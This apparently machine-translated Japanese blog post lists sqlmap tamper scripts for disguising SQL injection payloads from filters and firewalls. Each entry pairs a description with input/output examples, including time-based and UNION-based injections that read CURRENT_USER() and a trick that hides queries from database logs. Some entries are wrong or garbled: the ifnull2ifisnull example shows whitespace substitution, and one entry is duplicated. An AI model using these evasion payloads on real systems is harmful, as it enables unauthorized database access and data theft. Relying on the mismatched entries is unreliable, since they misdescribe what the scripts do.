Sqlmapの一般的なスクリプトリストの迂回

5387 ワード

apostrophemask


SQL文のアポストロフィをUTF符号化します.
Example: 
* Input: AND '1'='1' 
* Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87 

apostrophenullencode


SQL文のアポストロフィをUnicode符号化します.
Example: 
* Input: AND '1'='1' 
* Output: AND %00%271%00%27=%00%271%00%27 

appendnullbyte


ペイロードの最後に符号化された空のバイト文字を追加します.
Example: 
* Input: AND 1=1 
* Output: AND 1=1%00 
Requirement: 
* Microsoft Access 

base64encode


攻撃に使用するペイロードをbase 64で暗号化します.
Example: 
* Input: 1' AND SLEEP(5)# 
* Output: MScgQU5EIFNMRUVQKDUpIw== 

between


より大きい番号を置換します.
Example: 
* Input: 'A > B' 
* Output: 'A NOT BETWEEN 0 AND B' 

bluecoat


スペースをランダムな空白文字に置き換え、likeを=に置き換えます.
Example: 
* Input: SELECT id FROM users where id = 1 
* Output: SELECT%09id FROM users where id LIKE 1 
Requirement: 
* MySQL 5.1, SGOS 

chardoubleencode


二重URLコード.
Example: 
* Input: SELECT FIELD FROM%20TABLE 
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charencode


URLコード.
Example: 
* Input: SELECT FIELD FROM%20TABLE 
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

charunicodeencode


url符号化されていない文字をunicode符号化します.
Example: 
* Input: SELECT FIELD%20FROM TABLE 
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045'
Requirement: 
* ASP 
* ASP.NET

equaltolike


=をlikeで置き換えます.
Example: 
* Input: SELECT * FROM users WHERE id=1 
* Output: SELECT * FROM users WHERE id LIKE 1 

space2dash


フィルタを省略=スペース文字を置換します.–ダッシュコメント、ランダム文字列、新しい行が続きます.
Example:
* Input: '1 AND 9227=9227'
* Output: '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

greatest


より大きい番号をGREATEST関数で置き換えます.
Example:
* Input: '1 AND A > B'
* Output: '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 

space2hash


スペースは、井戸番号、ランダム文字列、または改行に置き換えられます.
Example:
* Input: '1 AND 9227=9227'
* Output: '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'

halfversionedmorekeywords


SQLキーワードごとにコメントを追加します.
Example:
* Input: "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
* Output: "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

space2morehash


スペースは、井戸番号、改行、およびより多くのランダム文字列に置き換えられます.
Example:
* Input: '1 AND 9227=9227'
* Output: '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227'

ifnull2ifisnull


IFNULLフィルタリングを迂回します.
Example:
* Input: 'SELECT id FROM users'
* Output:  'SELECT%A0id%0BFROM%0Cusers'

space2plus


スペースをプラス記号で置換します(ブロックされる可能性があります).
Example:
* Input: 'SELECT id FROM users'
* Output:  'SELECT+id+FROM+users'

nonrecursivereplacement


二重クエリ文.
Example:
* Input: '1 UNION SELECT 2--'
* Output: '1 UNIOUNIONN SELESELECTCT 2--'

space2randomblank


有効な空白記号の文字セットからスペースを選択して置換します.
Example:
* Input: 'SELECT id FROM users'
* Output:  'SELECT%0Did%0DFROM%0Ausers'

sp_password


追加sp_password’は、DBMSログの自動ぼかし処理のペイロードの末尾から.
Example:
* Intput:  '1 AND 9227=9227-- '
* Output: '1 AND 9227=9227-- sp_password'
Requierment:
* Not Oracle

randomcase


ランダム・大文字と小文字.
Example:
* Input: 'INSERT'
* Output:  'INseRt'

unmagicquotes


広い文字はGPC addslashesを迂回します.
Example:
* Input: "1' AND 1=1"
* Output:  '1%bf%27-- '

randomcomments

/*...*/でSQLキーワードを分割します.
* Input: 'INSERT'
* Output:  'I/**/N/**/SERT'

halfversionedmorekeywords


キーワードにコメントを付ける.
* Input: "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
* Output: "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

この文書はhttp://www.chuhades.com/post/19590b_4cc51f